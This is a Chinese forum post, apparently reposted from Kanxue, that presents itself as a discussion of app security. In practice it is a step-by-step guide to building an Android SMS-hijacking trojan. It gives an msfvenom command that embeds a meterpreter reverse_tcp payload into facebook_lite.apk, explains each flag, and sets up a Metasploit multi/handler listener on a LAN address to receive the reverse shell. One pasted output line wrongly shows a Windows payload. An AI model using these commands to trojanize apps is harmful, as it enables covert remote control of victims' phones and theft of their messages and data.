从“短信劫持马”的制作来谈APP安全

从“短信劫持马”的制作来谈APP安全
2019-11-13 16:25:23 Author: bbs.pediy.com(查看原文) 阅读量:303 收藏

2018年写的一篇文章了，整理文档的时候发现了这篇，当初的很多情况有了新的方式，但是个人觉得有些地方还是有可察之处，现发在看雪论坛，请各位大佬轻喷，

enter image description here

这种短信劫持木马的概念和新闻我想大家都应该接触过了，就不怎么说概念了，具体的可以搜一搜新闻，一抓一大把。

下面我用几种套件来完成短信劫持木马的还原，之前我在本地已经做过试验，所以下面的内容都均摘选自我的笔记。其实用 MSF 也可以做到，但是活的不长久，而且不过杀毒，体积偏小，很明显。
所以我们用一种 “ 寄生 ” 的方式来制作，后面会讲。

目前有两种方法可以自动化的往 app 添加 payload，无论哪种生成，其实实现的目的都是一样的，只是 1 方法的作者把第二种方法集成到一键方式，但是本人自己使用过第一种的方式进行，因为各插件版本的原因没有成功，给原作者提供样本之后，原作者叫我自己解决。

遂推荐使用第二种方法：

backdoor-apk。

mterpreter 中自带的 msfvenom。

直接在 kali 的 shell 下执行:

msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk

执行完上面的命令，meterpreter 一般会对 apk 进行：

1.解包。
2.插入权限。
3.插入 payload 代码。
4.重新打包生成 apk。
5.重新签名并保存的操作。

结果成功：会生成一个 facebook_ lite_after.apk 的应用
结果失败：失败一般会发生在 2，3，4 处，因为有一些 apk 加固或者混淆了，解包之后的代码已经变了样，插入会出现错误，打包也会出现错误。最终导致 apk 不完整，无法生成 apk。

命令解读:

platform 指定平台，此处为 android。
x 指定使用的样板，可以理解为你要寄生在哪个 app 下面，
此处是寄生在 facebook_lite.apk。
p 指定使用的 payload，此处是 android/meterpreter/
reverse_tcp，后面的 LHOST 指定 payload 生效后要反弹的主机 ip，一般为 kali 或者安装了 meterpreter 的 linux 主机，此处 kali 的 ip 为192.168.1.114，LPORT 为端口号。
o 指定生成的文件。

enter image description here

注意:
msfpayload 和 msfencode 已经在新版本移除，以后只要使用 msfvenom 就行了，msfvenom 的大概使用说明如下：

MsfVenom - a Metasploit standalone payload generator.
    Also a replacement for msfpayload and msfencode.
    Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
    Options:
        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
            --payload-options            List the payload's standard options
        -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
        -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
        -f, --format        <format>     Output format (use --help-formats for a list)
            --help-formats               List available formats
        -e, --encoder       <encoder>    The encoder to use
        -a, --arch          <arch>       The architecture to use
            --platform      <platform>   The platform of the payload
        -s, --space         <length>     The maximum size of the resulting payload
            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
        -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
        -i, --iterations    <count>      The number of times to encode the payload
        -c, --add-code      <path>       Specify an additional win32 shellcode file to include
        -x, --template      <path>       Specify a custom executable file to use as a template
        -k, --keep                       Preserve the template behavior and inject the payload as a new thread
        -o, --out           <path>       Save the payload
        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
            --smallest                   Generate the smallest possible payload
        -h, --help                       Show this message

# 监听

1.kali 的 shell 下执行 :msfconsole。
2.进入 meterpreter 后选择 exploit，执行 :use exploit/multi/handler 。
3.选择 payload，执行 :set payload android/meterpreter
/reverse_tcp。
4.设置 payload 的 option，此处先设置 LHOST，执行 : set LHOST 192.168.1.114。
5.设置 LPORT，执行 :set LPORT 3389。
6.开启 exploit 任务，-j 是 job，执行 :exploit -j。

如下:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.114
LHOST => 192.168.1.114
msf exploit(handler) > set LPORT 3389
LPORT => 3389
msf exploit(handler) > exploit -j 

[*] Started reverse handler on 192.168.1.114:3389
[*] Starting the payload handler...

enter image description here